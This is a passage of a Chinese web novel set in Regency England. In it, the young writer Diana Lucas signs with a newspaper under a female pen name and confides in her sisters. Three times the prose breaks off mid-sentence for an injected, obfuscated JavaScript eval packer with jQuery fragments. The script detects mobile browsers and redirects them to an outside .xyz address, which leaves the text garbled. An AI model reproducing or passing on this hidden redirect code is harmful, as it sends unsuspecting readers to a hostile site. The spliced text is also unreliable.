戴安娜:“您的意思是署名是女性笔名会影响它的刊登?这可不像是发行女性报纸的人会说的话。”
当顿听了神色如常:“我的报纸上有桃色新闻、有流行服饰、有裁缝广告、有出生通告和结婚通告,当然也有评论文章、散文和诗歌,供稿人绝大多数是女人,社会各界心照不宣,绝不会多说什么,戴安娜小姐能明白这是为什么吗?”
戴安娜当然明白,女人的文字用男性署名,无论写得多好功劳都是男人的,就像她们十月怀胎生下的孩子也要冠男人的姓氏一样。
“我明白了,您是担心《淑女通讯》出现女性笔名,报纸会被蜂拥而至的评论家们批得一文不值,您认为我的文章所带来的发行量不足以抹平这些损失是吗?”戴安娜问道。
眼看孩子那急躁脾气又上来了,卢卡斯爵士伸出手想要叫停。
当顿:“请不要将我想得如此庸俗势力,我对上帝起誓我更加担心你的名声,不要认为使用笔名就能藏起真名,伦敦的有钱人想要知道你的身份不是难事,倘若你的身份被恶意宣扬,作为爵士的女儿,你该如何与另一个先生结合?”
戴安娜深知此处不是谈论这个问题的好地方,一提不结殙必然会被敌人以优势兵力围剿,便另起话题:“先生,您不妨猜猜我的年纪。”
当顿略感莫名,然而这也是他好奇的事,她来提起,他并无意见,想了想,他说道:“看你的身高,我猜测十五岁左右。”
戴安娜摇头:“我今年十二岁。”迎上他震惊的目光,她接着说道:“灵感对我而言不是偶然跳跃的浪花,而是一望无际的江海,我并非从今年开始写作,像孤堡惊魂这样的规则怪谈我已经写了许多,涉及学校、棉花工厂、赌马俱乐部等地,我的计划是将它写成一部长篇小说,每期报纸上刊登半篇,直到完结。”
闻言,当顿露出第二个裂开的表情,他之前以为这是篇幅很短的小故事,所以才会投稿到报社,万万没想到她要写长篇小说。
再结合后半句话,他立刻嗅到了商机,毕竟卢卡斯小姐的断章能力他已经领教了,他丝毫不怀疑一期刊登半篇会让多少人做梦都想看到下篇,这样一来每期的发行量都会得到保证,甚至会创新高。
当顿思绪纷杂,望着戴安娜叹道:“不得不说,你说动了我。卢卡斯小姐,您太胆大了,居然敢说您的灵感是江海,我想一生写了十多部作品的笛福先生都不会说这种话。”
戴安娜微微一笑,说:“先生,如今的《淑女通讯》是季刊,我不认为您会满足于此,不管您是发季刊、月刊、半月刊还是周刊日刊,我都会做您忠实的供稿人,谁说我的作品量会比不上笛福?”
4. 规则怪谈(四)
当顿站在报社门口,目送马车离开,马车刚一脱离视线,他马上转头,快步回到办公室,拿出戴安娜小姐放下的稿子就着红茶读了起来。
秘书推门进来,听到他骂戴安娜小姐不是人,心道这不是那群编辑总挂在嘴边的吗?当顿先生怎么也这样,便打趣道:“我知道签约不顺利令人恼火,但是您也用不着这样说一位小淑女。”
他没有参与谈话,却能猜到跟随卢卡斯前来的女士必定是他那位要求使用女性笔名的亲属,只是没料到年纪会那么小,用词就多了几分宽容。
当顿瞥他一眼,问道:“史密斯先生离开了吗?”
秘书回答:“是的,因为您看上去不需要签合同,史密斯先生已于半小时前离开。”
“嗯,”他应了一声,从抽屉里拿出一叠稿子走到秘书面前,“这是第一次的稿子,这是第二次的,你也拿去看看。”
报社收到稿件不仅仅是编辑看,也会给大家传阅,根据小部分人的观感来预判是否会受到大众喜爱,秘书对此习以为常,之前没看是因为听说文章只有上篇,现在戴安娜小姐拿来了下篇,已经没什么好怕的了。
他全然不知手上拿的除了《孤堡惊魂》上下篇,还有《校园钟声》的上篇,等他看到那可恨的“to be continued”时,一切都来不及了,他痛定思痛,将文稿拿给相熟的编辑。
“泰勒快来,看看这是什么?”
“我看……上帝!是《孤堡惊魂》的下篇!”
“还有戴安娜小姐的新作品《校园钟声》,我已经看完了,你拿去看吧。”
“太好了!你真是个好人,愿上帝保佑你。”
秘书送走下一位受害人,走上楼梯,不自觉数着台阶,数到十一到了二楼,心想一楼到二楼的楼梯台阶不是十级吗?为什么他数出来了十一?
他打了个寒颤,心中恼火,有对戴安娜小姐的,有对自己的,过了一会,敬佩油然而生。
当顿的复杂程度没有比他少,他理清思绪,首先他很看好戴安娜小姐未来的发展,认为规则怪谈以半篇刊登一期的方式能给《淑女通讯》带来空前的发行量,他确信。
让他头疼的是戴安娜小姐太固执了,她一定要女性的笔名,为此不惜少要稿酬。
但凡她换个条件,他肯定想也不想就答应。
回到家后,他将这件事说给女儿安娜听,他的女儿今年十四岁,与他关系很好,而且互相信任,他能对她说工作上的事,安娜也会拿她的读书日记给他看。
安娜已经看完心心念念的下篇,长舒一口气,说道:“这条件很好啊,爸爸你就答应吧。”
当顿苦笑:“我的小安娜,你把一切想得太简单了,女性笔名出现在《淑女通讯》上,你知道那群批评家们会怎么说我吗?脑子进水的约翰?浑身臭气的商人?”
安娜眨眨眼睛,说道:“我知道爸爸看重名声,但是我不知道你更看重眼前的名声还是未来的名声。”
见状,当顿就知道女儿又有奇妙的见解,他好奇地问:“现在臭不可闻的名声,未来难道会改变吗?”
安娜:“爸爸你说过她的文章开创了哥特式的全新风格,而《校园钟声》则将恐怖带离哥特式城堡,可以预想到人们提起哥特的开山鼻祖是沃波尔,那提起规则怪谈的开山鼻祖又会是谁?别人提起她的同时,难道会忘记慧眼识珠的当顿先生吗?”
一番话下来,当顿恍然大悟,茅塞顿开。
对戴安娜小姐来说笔名重要,对《淑女通讯》来说根本无关紧要,最重要的是万一她心灰意冷,放弃执念,完全可以拿着文章去更大的报纸投递,不需要留在《淑女通讯》这个小作坊。
笔名不是他能要挟她的条件,是他能留下她最有诚意的条件,这跟无本买卖有什么区别?
再加上她才十二岁就具备过人的才华,日后成了规则怪谈的首创者,名声是真的有很大可能反转的,毕竟这个时代变化太快了,一天一个样。
想清楚这一点,当顿腾地站起来亲了亲女儿,“你说得太对了,我这就去给戴安娜小姐写信。”他走了两步又回来了,面带难色道:“我之前说有权势的人能调查出她的身份,没把卢卡斯小姐吓到,倒是吓住了卢卡斯爵士,恐怕他不会愿意给卢卡斯小姐签合同了。”
安娜听了他的顾虑,莞尔一笑,问道:“爸爸,你觉得是你厉害,还是卢卡斯爵士厉害?”
当顿思索片刻,道:“或许是在乡下待久了,卢卡斯爵士太过于安逸,足够圆滑,却没有魄力。”
安娜一摊手:“这就是答案了,那位小姐连你都能说动,难道无法说动一个连谈判都要女儿亲自上阵的卢卡斯爵士吗?”
话虽如此,当顿仍有疑虑,他不觉得女儿能对抗父亲,两天后的回信证实女儿战胜了父亲,他在信中询问她是如何劝说卢卡斯爵士的。
戴安娜看着信笑了笑,她没那个能耐,当然是英镑做到的。
卢卡斯爵士因为去过一次王宫,最常挂在嘴边的就是“我处在这个阶级,常与这个阶级的人交往,所以我知道这个阶级的人是如何处事”,但实际上他对贵族根本一无所知。
此前他以为她能安全地藏在笔名之后,故而没有往死里反对,听当顿说有权有势的人很容易调查出身份当即吓破了胆,坚决反对她发表小说,贝琳达女士上阵与他讲理。
卢卡斯爵士:“亲爱的,这件事一旦泄露,家里所有人都要受影响,你会被隔壁班纳特夫人嘲笑,你会说你不在乎,我可怜的贝琳达,我也不在乎用阶层的人会如何议论我。家里的女孩怎么办?洛蒂、玛丽克还有海伦该如何嫁给一位绅士?”
不出所料,贝琳达女士败下阵来,戴安娜正要开口,卢卡斯爵士打断她:“杜赫你又要说你不需要结殙是不是?你要想想你的妹妹,海伦是那么爱你。”
戴安娜静静地注视他,说:“我知道,我只有一个问题,你与贝琳达女士都不介意他人议论,弟弟不需要介意,是否我解决姐妹以后的生活,你就肯给我签合同?”
卢卡斯爵士想了想,回答是。
戴安娜:“容我再问一句,你给我们准备了多少嫁妆?”
女人需要结殙,毕竟挣钱的所有路都被堵死,没有继承权的贵族次男也希望娶到有丰厚嫁妆的妻子,法律规定妻子婚前财产全归丈夫,吃软饭理直气壮而且合法。
若非戴安娜自我意识极其强烈,一生以女儿身为荣,都要说一句恨不生为男儿身。
卢卡斯爵士不悦地问:“你是在责怪我没给你们姐妹准备丰厚的嫁妆吗?”
责怪吗?没必要。
有句话叫“强者从不抱怨环境”,这是一句乍一听很有道理,实际上是打压控制人的话。
它在为恶劣的环境开脱,本意是环境没有丝毫问题,强者怎么就能活得风生水起呢?你活得不好,是你不努力不奋斗的缘故,所以要向内找自己的原因,不要暗地里蛐蛐,更不要聚众蛐蛐。
不然人们一对账就会发现不对劲,你没闲着,我也没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621661|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闲着,都在不择手段往上爬,怎么都过得不好,到底是谁在过得好?
既得利益者维护利益的花言巧语,统治阶级维护稳定的谎言。
良好的环境是弱者也能好好活着,再差一点是劳动能赚来不错的生活,最差就是现在。
戴安娜肯定,她落到如今的地步,就是这个国家和时代的错。
她怪罪卢卡斯爵士,那矛盾不就转移了吗?
所以她说:“不,这不是你的错,错的是社会。”
卢卡斯爵士:“……”
要不你还是怪我算了。
她没有管家长的震惊,她会永远恨搅乱舒适环境和正当秩序的人,以此作为向上的永恒动力。
“我大概有了解,加上田产、牧场和银行的利息,我们家每年的收入是240英镑。”
普通男工的年薪是20英镑左右,玛姬在她家做女仆那会一年拿10英镑。
如果她们一年能有240英镑的收入,估计睡着了都会笑醒。
但对她家来说不够。
除了生存所需,她们还要维持社交的体面。
卢卡斯爵士的新式三件套,贝琳达女士的帝政裙,夏洛特和玛利亚到了进入社交界的年纪,帽子和手帕能自己缝,首饰和裙子得去外面买吧,不提前存钱能行吗?
这年头给中产和上层当裁缝和设计师可是太赚钱了,报纸上说一根装饰帽子的羽毛都能卖出4英镑的天价。
她家没到这种穷奢极欲的地步,可是花在置办行头上的钱也不少,排在吃和行前面。
就这样,上一个结算日辞退了女仆——虽然她觉得应该辞退薪水是女仆两倍的男仆。
但显然卢卡斯爵士有自己的想法,男仆不可替代,女仆的话……家里不是还有贝琳达女士和刚满16岁的夏洛特吗?
“你能给我们的遗产应该是每人100英镑左右,存入银行,每年4英镑的利息,生活质量会断崖式下降。我要是能翻五十倍给她们,每年200英镑的利息,就算不殙,也能维持较好的生活水平。
“这样,你是不是就不反对了?”
她确实是这样说了。
但无论是卢卡斯爵士还是贝琳达女士都没当真,不约而同用“哦我可怜的孩子又在说大话”的眼神看她。
100英镑的50倍是5000英镑,她有三个姐妹,总共15000英镑。
目前英国确立金本位制度,英镑和黄金有直接兑换关系,一万五千英镑约等于120公斤的实物黄金,存进银行,每年拿600英镑的利息,足以吃喝不愁。
相当于问小学生以后要做什么,她回答要当宇航员/大明星/科学家一样,能竖起大拇指称赞一句“好,好志气”,却没人相信。
尽管她的承诺不被正视,她爹还是同意为她签约,她便想早些定下这件事,省得他再反悔。
挑挑拣拣下来,进入决赛圈的是《淑女通讯》和波尔出版社,两者都愿意刊登女性的笔名,合约的内容有所不同。
前者以连载的方式刊登她的怪谈,视市场反响来决定是否出版,稿费按照新人供稿人的最高标注给,5个小故事10英镑。
后者直接将5个怪谈合订成册出版,只有出售2500册以上,出版社才会支付她30英镑,以及出版社享有长篇连载和改编剧本的一半版权。
另外合约中规定她今后的五本小说必须寄到波尔出版社,稿酬也不会太高。
不是,这波尔出版社拿她当肥羊宰啊。
5. 规则怪谈(五)
简单算笔账,现在市面上的哥特小说大部分很廉价,1先令或者几便士就能买一本。
那些她都看过,她的就按1先令算,他要她卖出2500本才给她30英镑。
赚她四倍的钱还慊不够,合约上还有一系列附加条件,贪心不足,口才倒是很好,哄得卢卡斯爵士一个劲说他好话。
“为什么不出版呢?杜赫,很多作家最大的梦想就是出版一本小说,人们在连载上看过的文字就不具备出版的价值了。”
“不,我的才能要交给市场判断,而不是出版社。如果我的本事到了,那连载过后出版也会有人买账,还能多拿到一份出版的稿费,本事没到,出版也是招笑。”
她一向有主见,卢卡斯爵士奈何不了,只得听从她的意见放弃波尔出版社,与《淑女通讯》签约。
当顿很高兴,也很新鲜,想想看,他的刊物上出现第一个使用女性笔名的女性供稿人。
律师史密斯起草合同,询问道:“戴安娜小姐想用什么笔名?”
戴安娜不假思索:“阿尔克昂·希耶尔。”
当顿沉默一会:“戴安娜小姐是想说 ?arc-en-ciel(彩虹)??”
那狂言作品数量比得上笛福的小作家不好意思地摸摸后脑,干笑两声:“正确的发音是这样吗?”
卢卡斯爵士居然没有给戴安娜小姐请家庭教师学法语吗?当顿想到女儿的嘱托,心中一动,说道:“戴安娜小姐,我的安娜正在学习法语,我想你们可以多书信沟通。”
戴安娜眼睛一亮,免费的法语老师?可是……
“当顿小姐愿意吗?”她爹一厢情愿怕不好。
“当然,她是你的忠实读者。”
这下连卢卡斯爵士都对他连连称赞,他还是头一次见愿意让自家小孩和戴安娜一起玩的家长。至于那位风度翩翩的波尔出版社的负责人,早被他忘到九霄云外了。
言归正传,当顿纠正她的法语发音,并提议她可以用拉赫昂·希耶尔作为笔名,戴安娜欣然同意。
合同签完,五篇规则怪谈稿子交付完毕,10英镑没捂热乎就在邮局、艺术用品店和杂货店用了不少。
卢卡斯爵士:“我的上帝你非要逛这么多店吗?”
戴安娜:“不多看一些店怎么知道哪家更便宜?”
她难得找回初中高中在学校门口文具店挑选的快乐,尽管种类比较少,东西也比较贵浇灭一些喜悦。
伦敦的纸比梅丽顿贵,她可以回去买,五便士一沓,物不美价廉。
笔也略贵,但贵有贵的道理,她买了一支机械铅笔,可以换芯,笔身中间有滑环,上下推拉用于收起和弹出笔尖,另外通体都有刻痕,靠近笔尖的部分还有圆圈形的凸起,有一种指间会摩擦出老茧的美感。
……终于不用手削铅笔了,至于钢笔,等她纸张自由再考虑吧,这里又不卖涂改带。
她心满意足地坐上回程的马车。
《淑女通讯》上一次发刊是三月三日,最快刊登她的作品就是六月三日,满打满算,还有六天时间,就能在报刊上看到她的作品了。
她很期待。
签约的第一个周日,戴安娜照常跟一家人去附近的教堂做礼拜。
她现在除了写小说,基本不出房门,这是难得的家庭活动。
上了年纪的牧师在前面用平静的声音讲解圣经,她一坐上长椅就睡得天昏地暗。
她时常会比较,牧师和数学老师哪个讲课更催眠。
“醒醒,杜赫。”夏洛特推推靠在她肩上大睡特睡的戴安娜。
被夏洛特强制开机的戴安娜睁开眼,看看左右起身离开的人们,迷迷糊糊地问:“嗯?啊,完了?”
“是啊,走吧,回去了。”
贝琳达女士走在几位女士身旁不知道聊什么,卢卡斯爵士似乎要跟男士们去钓鱼,玛利亚与小伙伴约好去梅丽顿的衣帽店逛逛,威尔和海伦没来。
她和夏洛特结伴回去。
这是个难得的好机会,她想与夏洛特说说写作的事,在家里见面的时间太碎片了,她满脑子都是大纲人设反转,没想起来这事,如今想起来了,就想着知会夏洛特一声。
假如她写作的事被暴露出来,而那时夏洛特离开了家,上男方的家里住着,男方是个宽和善良的那万事好说,若是个古板刻薄的,轻则对夏洛特摆脸色,认为有这种妹妹的夏洛特也不是啥好东西,重则会强迫夏洛特与她断绝来往。
未来的诸多可能,她都想过。
更糟糕一点,夏洛特未来遇到情投意合的男人,两人情意绵绵,男方家长接受不了夏洛特有她这种妹妹,棒打鸳鸯,最后夏洛特怨恨她一辈子。
但她必须这么做,她必须有自救的力量。
换言之,她必须赚钱。
现在她要向夏洛特坦白,结果是道歉也好,赔偿也好都行,总之不能逃避沟通。
“洛蒂,”她称呼姐姐的昵称,“我有事跟你说。”
这段日子她忙忙碌碌的,夏洛特就预感到会有这么一天,并不意外,“什么事?”
她前后左右看了一圈,走在路上的人们各自交谈,没有注意她们,但她仍然谨慎,悄悄凑到夏洛特身边,夏洛特凝神倾听。
“这件事就是我回家跟你说一件事。”
“……”
见姐姐无语,她补充道:“很重要的事,不能被别人知道。”
说别人,别人就来了。
班纳特家的简和伊丽莎白叫着她们的名字快步过来。
伊丽莎白笑着打趣道:“你气跑了民兵团的军官,我们大家都知道了。”
感觉那是好久之前的事了,现在还当新鲜事说呢。
戴安娜一摊手:“说就说呗,我已经习惯当别人家的孩子了,虽然是反面教材。”
她不到进入社交界的年纪,但是社会对各个年龄段的女性的压制无所不在,于是她的叛逆就这里显露一点,那里显露一点,逐渐为人所知。
梅丽顿附近的体面人家提到她都会叹息,卢卡斯爵士幽默风趣,卢卡斯夫人温和厚道,怎么就生出这样的孩子?
或明或暗的同情以及幸灾乐祸之后,又会告诫自己的孩子,不要跟戴安娜一起玩,会被带坏。
别的小孩懵懂应了,简和伊丽莎白却不这么认为。
简性情温柔,不愿意对旁人多加指责,总是看好的方面,她不觉得戴安娜是坏小孩。
伊丽莎白就更直接,私底下直言大人们不喜欢戴安娜是因为她那被招惹了不会忍气吞声,而会予以坚决还击的个性。
排除掉这一点,她没什么不好,耿直坦诚,藏不住心思,很好相处。
说她坏话的人八成是不怀好意,又怕她回击,那种人不值得交往,伊丽莎白自认不会变成那些人,自然不必怕戴安娜。
“不说那些了,我跟你们说前些日子我不是去伦敦了吗?我在印刷店的橱窗里看到好多漫画。”
过去的十五年里,英国处于讽刺漫画的鼎盛阶段,未曾登基的摄政王是漫画师们的新鲜素材库,他们不遗余力地画下摄政王的丑态,然后印刷张贴出去,摄政王需要贿赂漫画师才能保证更过分的漫画不被传播。
他现在是正儿八经的国王,讽刺漫画少了,但没有完全杜绝。
漫画里的他大腹便便,丑陋不堪,情妇环……
听到这里简就惊呼打断她,戴安娜从善如流地止住,说起另一幅讽刺漫画,漫画师将摄政王画成一条巨鲸,与美人鱼眉来眼去。
伊丽莎白很喜欢听,倒不是她去不成伦敦,只是她不能像戴安娜一样,看到感兴趣的就叫停车,跳下马车去看罢了。
卢卡斯府和朗博恩不在一个方向,一行人在路上分别,戴安娜刚看到家门就拉着夏洛特加速,咚咚咚踩上楼梯,一路跑到二楼卧室。
夏洛特坐在床上,看向背靠着门松了口气的戴安娜,问:“你勾起我的好奇心,带动我也紧张起来,到底是什么事?”
戴安娜挠头,旋即镇定自若地说出她写小说且签约的事。
“真的吗?这太惊人了,我真为你高兴。”夏洛特笑着说。
她一时闹不清姐姐是跟电视剧里的反派皇后一样掩饰内心的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621662|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想法,还是气糊涂了。
心里想什么,她嘴上就说什么,“你不生气吗?洛蒂,我从事这份行业对你不是没有影响的。”
夏洛特挑了下眉,说:“你确信我会生气还要那么做,我是否生气似乎无关紧要。”
“怎么会?”她先高声反驳这句话,然后看向别处嘟囔,“这件事决定权在我,知情权在你,纸终究包不住火,最起码到那一天,不应该让你从别人的嘴里知晓。”
这句话很有先见之明,未来的某一天,她的名气越来越大,使真相公诸于世的不是某个挑事的上等人,而是闻着味赶来的英国税务部门。
当天夏洛特正在拜访她的好友。
后话暂且不提,此时此刻的夏洛特确实不生气。
她拜访亲戚会遇到年龄相近的人,她们凑过来,名为同情实则打探戴安娜的事。
有那种妹妹作为姐姐很辛苦吧?她是不是经常顶撞你,你说一句话,她有三句话等着?哦,可怜的夏洛特。
解释了,她们也不信,很多人只愿意听自己想听的,或者以为她在嘴硬。
——戴安娜是卢卡斯家最省心的孩子?瞧瞧可悲的夏洛特,为了不被嘲笑,都扯出这种谎言了。
可她从不是谎言。
杜赫是妈妈生得最顺利的孩子,小小一个躺在摇篮里,要换尿布叫一声,晚上饿了想要喝奶再叫一声,从没有出现哇哇哇哭个不停吵醒全家的情况。
育婴女仆不止一次说过戴安娜是她带过最乖巧的小孩。
夏洛特再大一点,母亲和女仆忙于家务,她承担起照顾妹弟的责任。
小玛利亚看什么都想模仿,看鸟儿飞就站上椅子往下跳,小威尔简直像匹小马驹,蹬蹬蹬跑个不停,摔在地上就哇哇大哭。
她很想问问那些轻嘴薄舌的人,如果她们在她这个位置,是会喜欢上面那两个,还是喜欢拉着小玛利亚不让她跳的戴安娜?
没错,她太喜欢戴安娜这个妹妹,这份喜欢直到她第一次为一家人准备早餐达到巅峰。
她刚学会做饭,那一餐很简单,面包切薄放到烤吐司架上端上去,准备黄油、果酱、橘子酱,再煮好一家人的鸡蛋。
妈妈说过戴安娜喜欢老一点的鸡蛋,需要多煮四分钟,可是她搞错了时间,一家人的鸡蛋都煮老了。
当时没注意到,由于只有戴安娜的鸡蛋与别人不同,她特别看了一眼,戴安娜正将鸡蛋倒出蛋杯,拿着鸡蛋咬着吃——但愿她在外面别这样,用手接触食物实在失礼。
念头没有转完,威尔便叫着鸡蛋太难吃了,将蛋杯扔进盘子里,发出叮的一声响,随即跳下椅子往外跑。
这不是大事,附近的小男孩都是这样的,爸爸在看报纸,妈妈叫他跑慢点,玛利亚吓了一跳,而戴安娜在威尔跑出餐厅前揪着他的领子一路来到她身边,声音严厉。
“磕头道歉。”
在妈妈爸爸“算了算了”的劝解中,头没有磕,但道歉她收到了。
妈妈和她都劝戴安娜,这种小事犯不上生气,戴安娜却说看到她的表情很伤心很失落,没有多想就去抓威尔了。
她当时很伤心失落吗?她没注意,不过她能感受到戴安娜的关心以及对她尊严的捍卫。
厨师彻底被辞退,她经常帮助妈妈做菜,不管做成什么样,戴安娜都说好吃,玛利亚是应声虫,倒是她看着色香味弃权的菜,感慨原来真的有很动听的谎言。
“杜赫,你不是个合格的食客。”
手艺再好的厨师都得在她一声声夸赞中迷失自我,提升手艺更是天方夜谭。
“姐姐又不是花钱雇来的厨师,当然是你做什么,我吃什么,而且都很好吃咯。”
看吧,她一直是体贴人的好孩子。
她是什么时候变的?夏洛特想,应该是越长越大,这世界对她露出狰狞面孔的时候,她不曾畏惧,收敛笑容,冷冷瞪了回去。
那不是她的错。
“杜赫,我这个人不想做的事很多,想做的事一件都想不起来,你能有一样想做的事,那是你的幸运,不用担心我,我为你感到高兴。”
6. 规则怪谈(六)
戴安娜觉得自己是悲观主义者,遇上事习惯做最坏的打算。
她认为夏洛特会先责怪她,最后无可奈何原谅她。
这件事过了家长的明路,而夏洛特虽然有超越年龄的智慧,但是没有反抗的勇气和决心。
一条细胳膊拧不过三条粗大腿。
她没想到夏洛特全然没有芥蒂。
是她看轻了她吗?不确定,再看看。
“你不怪我,”她脑子不清楚,连带着说话也结巴,“怪我做这事不成体统,会影响你的评价和殙事吗?”
夏洛特短暂地笑了下:“影响我的殙事?那我要先怪爸爸,没能给我1000乃至2000英镑的嫁妆,然后再怪妈妈没把我生得好看一点。”
“这是什么话?”她下意识反驳,“你哪不好看了?那些一起去做礼拜的人,在我这名字都对不上脸。”
她对英国人脸盲,分不出来什么好看什么不好看,但贝琳达女士、夏洛特、玛利亚、海伦都是好看的,毋庸置疑,尤其是贝琳达女士,脸上一道皱纹都让她喜欢。
夏洛特:“你这种凭好感确定她人是美是丑的人很少,很多人比起心更相信眼睛。”
她的话是很好听,不过要是深信不疑,认知和外界就会产生巨大差异,不是好事。
戴安娜显然不认同,她蹙着眉,认真说:“既然如此,那就更不需要在乎那些人的想法。”
“嗯,我知道,也接受,这么说只是告诉你,你的所作所为对我的影响微不足道,不要多想,”夏洛特说着,伸出手抚了抚她的头发,“签约还顺利吗?”
戴安娜目光复杂,这句话说得不对。
结殙是市场,人是商品,美貌和嫁妆是重要的商品属性,假如二者皆备,或两者有一,那么多一个写小说的妹妹就算是美玉微瑕,能够容忍。
可两者都没有,那容错率就会变得特别低,一个不体面的妹妹会非常致命。
无意物化家人,但结合外界的目光和姐姐的自我评价,姐姐毫无疑问是后者。
怎么会微不足道?
为什么不关心自己的未来,反而问她签约顺不顺利?
因为爱吗?
她知道夏洛特爱她,除了她和贝琳达女士,还有谁给她煮七分钟的水煮蛋?她可吃不来餐桌上三分三十秒的煮鸡蛋。
但她不理解在她伤害夏洛特利益的情况下,夏洛特还爱她。
真是离奇。
她大脑几乎死机,但嘴还能说话,也不是什么可怕的事,毕竟她平时说话也不经脑子。
“起初威廉先生不同意我发表,但贝琳达女士说服了他。
“好多报社出版社都不识货,稿子退了回来,《每日新闻报》还写信嘲讽我用女性笔名的做法,明明很多男人也用女性笔名,没关系,他们看不上我,我也看不上他们。
“《淑女通讯》的当顿先生说我要是出名,一些上等人能通过笔名找到我,威廉先生吓破了胆,这次是我说服了他,应该也有他本身耳根子软的缘故。
“威廉先生相信波尔出版社负责人的口若悬河,也不想想,要是卖不出2500册,我岂不是一便士都拿不到?连载至少能拿到钱,以为谁都是拜伦吗?”
出身贵族,有时候发表东西都不要稿酬。
她不知不觉絮叨起来。
只要不涉及夏洛特内心守着的序,她就能给出绝佳倾听者的反应。
“那位负责人先生在利用新人出书成名的迫切心情,诱使爸爸签约。”夏洛特评价道。
戴安娜一拍大腿,大声道:“就是这个道理,威廉先生偏偏看不出来。”
夏洛特叹息:“你应该称呼他爸爸。”
戴安娜眨眨眼:“好的,爸爸。”
她参加上司与英国女孩的殙礼,仪式上有个环节是改口,即互相称呼对方的双亲为妈妈和爸爸,据说那位英国女孩很不适应,她那里一直都是叫名字的,为此,男方的双亲取了英文名字方便她称呼。
不过直呼家长的名字在两百年前家庭等级观念森严的英国还是太超前了。
对大姐坦白完,马上就轮到二姐。
孩子会模仿大人,大姐是小号贝琳达女士,二姐就是个小号卢卡斯爵士。
听她说完,玛利亚露出苦恼的表情,看着面前的姐妹,“啊?那怎么办?”
又是个不按套路出牌的,戴安娜有点抓狂:“你没有主见也要有个限度,稍微动动脑子想想这件事对你的影响。”
玛利亚:“可是我上面还有洛蒂,她都不着急。”
戴安娜木着脸:“你看错了,其实她很急。”
玛利亚:“是这样吗?看不出来,洛蒂那么聪明都没办法,那我就更想不出来了。”
她的处事方法很简单,天塌下来有个高的顶着,个高的都顶不住,她上也没用,开摆。
总之就是万事不操心,一辈子摸着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621663|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大姐过河。
戴安娜目瞪口呆。
她一直以为自己是家里最机灵的人,现在看来最机灵的人分明是玛利亚。
海伦就更简单了,她的成长模板是戴安娜。
搞定姐妹们,戴安娜独自坐在桌前,握着机械铅笔想写点什么,却半天没写一个字母,姿势从握笔变成转笔。
说出来会让梅丽顿许多人惊诧,她上辈子是称得上懂事乖巧的,不跟大人顶嘴,从小就做家务,用渴求爱和夸奖的眼神可怜巴巴地看着大人,长大之后很少与家中来往。
幸福的家庭用爱连结家庭成员,不幸的家庭用恐惧的锁链捆绑家庭成员。
挣脱恐惧的办法只有一个——学会自爱,爱的具现化之一是钱,工作赚来的钱花在自己身上,家长不给买的食物自己买,家长不给买的衣服自己买。
渐渐的,被夺走的配得感会越来越高,人会变得自信、满足、幸福,不再被过去所羁绊,不再执着于家庭的亏欠。
所以她对这辈子的家庭没有任何情感需求,这种东西强求不来。
她出生的时候,上面就有两个姐姐,注定她不可能得到母父全部对孩子的爱,她出生的两年后,贝琳达女士生下了家里唯一的男儿,注定她不可能得到母父的偏爱。
但是事情发展到现在,与最开始的预测有所不同。
首先是母父的态度,她得到了她们的偏爱,方方面面的迹象太多,最明显的证明是别的家里是弟弟打姐姐,姐姐还手会被老登瞪,在她家,她能追着弟弟邦邦邦不受任何责罚。
说来讽刺,在她是乖宝宝的时候,每个人都能无视她的感受,她变成坏孩子了,反而更受到重视。
双亲的态度能用会闹的孩子有糖吃来解释,夏洛特就很奇怪,为什么明知自己的利益被损害能笑着对她说没事?
关系好不足以解释,那么是姐姐对妹妹的爱吗?
独生子百思不得其解,对她而言这比母父之爱还陌生。
姑且称之为爱,可为什么会降临到她头上?
她当然是个好人,配得上她人之爱,可是上辈子为什么没有?
这其中也有夏洛特是个好人的缘故。
她决心要回报。
做了决定,当即伏案码字。
爱要用爱来回报,她的爱就是她的钱。
或许在卢卡斯爵士面前还有点画饼的意思,但现在她一定要做出来5000英镑的饼。
7.规则怪谈(七)
玛利亚和夏洛特一前一后下楼。
最先走完台阶的玛利亚回过头:“这好像在做梦,想想看,咱们的杜赫在写小说,爸爸同意签约,报社也看中了。”
夏洛特与她并肩往外走:“说明她有这样的才能。”
玛利亚神色艳羡:“真令人羡慕,你说我有才能吗?”
“我相信每个人都有,却不是谁都有施展的空间。”
这番话安慰了玛利亚,她不是一无是处,只是不知道自己能做什么罢了,心里舒服一些,又想起另一个问题。
“忘记问她都写些什么了,她会讲述什么样的故事呢?”她好奇地问。
夏洛特想了想,笑着说:“你今晚别太早睡,九点左右去一趟盥洗室。”
玛利亚摸不着头脑,正要追问,头顶上传来咣咣咣的动静。
